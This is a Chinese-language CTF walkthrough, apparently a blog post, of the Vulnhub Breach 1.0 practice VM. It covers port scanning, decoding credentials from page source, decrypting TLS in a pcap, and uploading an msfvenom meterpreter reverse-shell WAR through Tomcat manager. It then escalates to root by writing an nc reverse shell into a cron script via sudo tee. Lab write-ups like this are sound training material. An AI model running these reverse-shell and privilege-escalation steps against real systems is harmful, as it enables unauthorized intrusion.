Vulnhub简介

Vulnhub是一个提供各种漏洞环境的一个靶场平台,大部分都是虚拟机镜像文件,预先设计各种漏洞需要使用VMware或者VirtualBox运行,每个镜像都有破解的目标,从启动虚拟机到获取系统的root权限和查看flag

Breach1.0靶机信息

breach1.0 是一个难度初级到中级的Boot2Root/CTF挑战。靶机下载地址:Breach1.0

靶机描述

image.png

环境准备

把下载靶机导入VMware,因为靶场巡检配置有静态IP地址(192.168.110.140), 需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段 。

攻击步骤

端口扫描

因为知道了靶场环境的IP地址,所以可以直接使用nmap扫描端口。执行如下命令:

nmap -T4 -A -v 192.168.110.140

扫描的结果如下:
image.png
通过上述结果看到该靶机开放了1000多个端口,很明显不合理,怀疑是部署了蜜罐系统。尝试访问80端口看看能收集到什么信息。
image.png
通过查看网页的源码发现一串特殊字符串,好像是经过了什么技术加密后的密文。

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo

解密密文

通过猜测这串密文是采用Base64加密的,采用CTF编码工具进行解密,经过两次Base64解密。如下:
image.png
发现好像是用户名和密码。先记录起来,等下可能会用到。

pgibbons:damnitfeel$goodtobeagang$ta

发现员工门口

通过主页的图片链接跳转到另外一个页面,包含两个图片和一个员工门户网站,通过检查源码,没有发现特别的信息。如下图:
image.png
从员工门户网站入门,把刚才的收集的信息,尝试能不能登录到员工的门户。发现成功登入了,如下图:
image.png
登入发现有3封邮件未读,先去看看能不能收集到有用的信息
第一封邮件内容如下:
image.png

我必须继续要求你让你的团队只将任何敏感的工件发布到管理门户。我的密码非常安全。如果你能告诉他们,那就太好了

第二封邮件内容如下:
image.png

上周在Chotchkie’s的欢乐时光里,我从一个供应商那里买到了一个非常划算的IDS/IPS系统!

第三封邮件内容如下:
![image.png](https://img-blog.csdnimg.cn/img_convert/815e70fae96a3887145dc244e92945ec.png

大致内容是:我将文件保存在这里:192.168.110.140/.keystore

下载keystore文件

192.168.110.140/.keystore文件。利用keytool生成自签名证书,需要密码,输入之前的收集的密码提示不对。于是,继续在门户网站收集信息。发现一条提示信息:
image.png
按照提示设置了该用户的基本信息,点击提交。之后,在用户基本信息中发现Content中有个链接文件Content SSL implementation test capture
image.png
点开发现如下图:
image.png

大致内容:我上传了一个pcap文件,是我们红队攻击的一个复制文件。我不知道他们耍了什么花招,但是我无法读取文件。我尝试了什么什么,还是搞不清楚。他们告诉我alias、存储密码和密钥密码都设置为tomcat。有人知道这是啥东西吗?我猜猜是不是加密了?我这两天要去钓鱼,不能收邮件和接电话。

通过http://192.168.110.140/impresscms/_SSL_test_phase1.pcap,把这个数据包文件下载回来,同时存储密码、密钥密码、别名都tomcat。

Wireshark打开pcap文件

用wireshark打开pcap如下图,但是发现信息经过了加密,无查看有用的信息
image.png
利用keytool 尝试用tomcat的密码把keystore导出证书文件。
image.png

wireshark设置证书

把刚导出的证书设置到wireshark中,通过“编辑–首选项–Protocols–TLS(2019年之前的版本是SSL),点击右边的Edit”,如下图:
image.png

过滤条件查看

由于数据包数量有点多,通过条件过滤有用的数据包,进行查看,在wireshark输入如下过滤条件:

ip.src == 192.168.110.140 || ip.dst == 192.168.110.140 and http

如下图:
image.png
通过查看上述的数据包发现如下的信息:

  • 在编号14的数据包中发现疑似管理后台url地址:192.168.110.140:8443/_M@nag3Me/html
  • 在编号26的数据包中发现疑似登录密码: dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC

通过Base64解密得到如下信息:

tomcat:Tt\5D8F(#!*u=G)4m7zB

访问管理后台

通过访问192.168.110.140:8443/_M@nag3Me/html ,发现不能正常访问,如下图:
image.png
由于是证书的过期,我们运行Burp Suite,监听127.0.0.1:8080,在浏览器设置代理,地址127.0.0.1:8080
成功打开并输入tomcat:Tt\5D8F(#!*u=G)4m7zB用户名和密码成功进入到管理后台。如下图:
image.png
通过观察上述的页面发现可以上传,可以利用反弹获取shell.

利用msf生成反弹shell

执行如下命令,生成反弹shell的war包。

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.129 lport=6666 -f war -o getshell.war

这台Kali控制机必须和靶机同网段,否则无法连接。我这个案例是kali使用双网卡一个网卡是于靶机是在同一网段的。

image.png

在kali设置监听

在kali打开msfconsole,并设置相关参数,开始监听。如下:
image.png
把生成的getshell.war包上传到管理后台,并访问进行戳发。
image.png
反弹成功,并获取shell.如下
image.png
获取当前用户和系统版本信息
image.png
获得交互shell
image.png

探测tomcat用户能访问那些文件

能访问/etc/passwd的文件,如下图:
![image.png](https://img-blog.csdnimg.cn/img_convert/574f43edab7cff43bce6ae60563d5f9e.png#clientId=u3388ee06-d67e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=454&id=ufd7ef3a5&margin=[object Object]&name=image.png&originHeight=454&originWidth=836&originalType=binary&ratio=1&rotation=0&showTitle=false&size=52539&status=done&style=none&taskId=u41f6da7d-5c7e-4680-b26c-b02937d2299&title=&width=836)
在Apache的web目录下发现,一个特殊的目录5446,进入改目录发现两个php文件,都是数据配置文件。如下:
image.png
从上述的文件发现,数据库的用户名是root,密码为空。通过mysql -uroot -p 命令连接到数据中,收集有用的信息。查看数据库中系统库的User表,获取到milton的用户加密的密码如下:
image.png
检查milton密文长度是32位,怀疑是MD5加密的,通过一些在线的MD5解密工具得到密码是thelaststraw,如下:
image.png
尝试从tomcat6的用户切换到milton用户,如下:
image.png
进入milton家目录,发现一个脚本文件,打开并没有什么内容,被调戏了,如下图:
image.png
my_badge.jpg图片下载到kali机中通过string查看也没有收集有用的信息。接着通过观察milton的历史命令,看能不能发现有用的信息。如下:
image.png
通过分析上述发现milton用户没有sudo的权限,需要切换到blumbergh才能执行sudo的权限。
image.png

从图片中获取信息

在Apache的www/html目录下有个images目录存放6张图片,把它下载到kali机器上进行信息的收集。如下图:
image.png
从图片提取到conffeestains,尝试用字符串尝试切换到blumbergh用户中,发现能成功切换。如下图:
image.png
查看blumbergh用户的历史命令情况,如下:
image.png
发现有个shell脚本文件,查看内容:
image.png

改脚本每三分钟执行清理/var/lib/tomcat6/webapps目录的文件

检查改用户拥有那些sudo权限的命令。执行如下的命令查看:

sudo -l

输出的结果如下:
image.png

tee命令用于将数据重定向到文件,另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。

提权

查看权限,发现/usr/share/cleanup/tidyup.sh只有root可写,如下图:
image.png
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,nc反弹命令
image.png
在kali提前开启监听,执行如下的命令:

nc -lvvp 8888

image.png
静静等待三分钟,输出的结果如下:
image.png
成功获取了flag,如下图:
image.png

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐